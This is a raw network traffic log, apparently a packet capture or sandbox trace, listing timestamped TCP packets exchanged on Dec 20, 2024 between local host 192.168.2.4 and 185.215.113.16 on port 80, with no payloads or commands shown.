Dec 20, 2024 17:10:57.364392996 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.365276098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.365345001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.365391016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.366439104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.366621017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.367603064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.367660999 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.367928982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.367966890 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.368740082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.368820906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.369513988 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.369831085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.369950056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.369997025 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.370969057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.371062994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.371113062 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.372112036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.372345924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.372381926 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.373245001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.373400927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.373548031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.374438047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.374537945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.374577045 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.375565052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.375719070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.375751019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.376768112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.376960039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.377005100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.377836943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.378009081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.378052950 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.378997087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.379074097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.379224062 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.379245043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.380108118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.380218983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.381283998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.381329060 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.381439924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.381481886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.382589102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.382611036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.382649899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.383622885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.383718967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.383835077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.384815931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.384892941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.384927988 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.385890961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.386064053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.386112928 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.387108088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.387228012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.387363911 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.388202906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.388323069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.388370037 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.389256954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.389451981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.389493942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.390522003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.390723944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.390799999 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.391722918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.391829967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.391880035 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.392669916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.392843008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.392890930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.393861055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.394156933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.394220114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.394995928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.395148039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.395220995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.396270037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.396295071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.396338940 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.397279978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.405157089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.522748947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.522794008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.522845984 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.523228884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.523246050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.523288012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.524487972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.524502993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.524543047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.525482893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.525958061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.526359081 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.526612997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.526806116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.526843071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.527817965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.528548002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.528592110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.528923988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.529268026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.529308081 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.537542105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.537866116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.537913084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.538072109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.538088083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.539112091 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.539220095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.539377928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.539417028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.540366888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.540481091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.540522099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.541723967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.541851044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.541891098 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.542706013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.542721033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.542757034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.543742895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.543976068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.544051886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.544910908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.545043945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.545083046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.546053886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.546473026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.546516895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.547168970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.548113108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.548150063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.548341990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.548824072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.549437046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.549482107 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.549705029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.550590038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.550626993 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.550895929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.550935030 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.551980972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.551995039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.552036047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.552910089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.553075075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.553219080 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.554020882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.554333925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.554375887 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.555188894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.555367947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.555408001 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.556302071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.556644917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.556688070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.557446003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.557521105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.557562113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.558820963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.559243917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.559293032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.559770107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.559866905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.559911966 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.560921907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.561238050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.561280012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.561518908 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.562081099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.562345028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.562391043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.563191891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.563368082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.564404964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.564461946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.564508915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.564546108 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.565557957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.565695047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.565793037 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.566574097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.566690922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.566730976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.567717075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.567850113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.567893028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.568864107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.569987059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.570003986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.570039988 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.570125103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.570168018 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.571104050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.571266890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.571379900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.572371006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.572833061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.572971106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.573441982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.573579073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.573628902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.574565887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.574682951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.574779987 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.575547934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.575727940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.576095104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.576828003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.576869011 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.577975988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.577991009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.578031063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.578108072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.578150988 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.579097033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.579299927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.579338074 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.580265999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.580718040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.580758095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.581403971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.581870079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.581911087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.582693100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.582751036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.582788944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.583839893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.583981037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.584100008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.585005999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.585021019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.585057974 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.585972071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.585987091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.586030960 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.587169886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.587538004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.587583065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.588265896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.588397980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.588450909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.589406967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.634095907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.638637066 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.714822054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.714915991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.715084076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.715215921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.715495110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.715537071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.715636969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.716655016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.716697931 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.717557907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.717767000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.717783928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.717819929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.719014883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.719068050 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.719923019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.720099926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.720115900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.720154047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.721544027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.721591949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.731435061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.731925964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.731945038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.732007027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.732031107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.732079029 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.732732058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.733028889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.734025002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.734296083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.734359026 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.734417915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.734456062 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.735295057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.736190081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.736238956 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.736490965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.736505985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.736546993 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.737560987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.737757921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.737818003 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.738908052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.739010096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.739079952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.740024090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.740207911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.740257025 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.741116047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.741147041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.741192102 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.742149115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.742355108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.742394924 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.743324995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.743453026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.743496895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.744519949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.744537115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.744580030 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.745599031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.745894909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.745937109 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.746767998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.746824026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.746866941 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.747922897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.748003960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.748055935 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.749033928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.750166893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.750183105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.750230074 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.750263929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.750303984 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.751377106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.751400948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.751441002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.752448082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.752618074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.752661943 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.753676891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.754219055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.754260063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.754761934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.754899025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.754945040 CET	49744	80	192.168.2.4	185.215.113.16
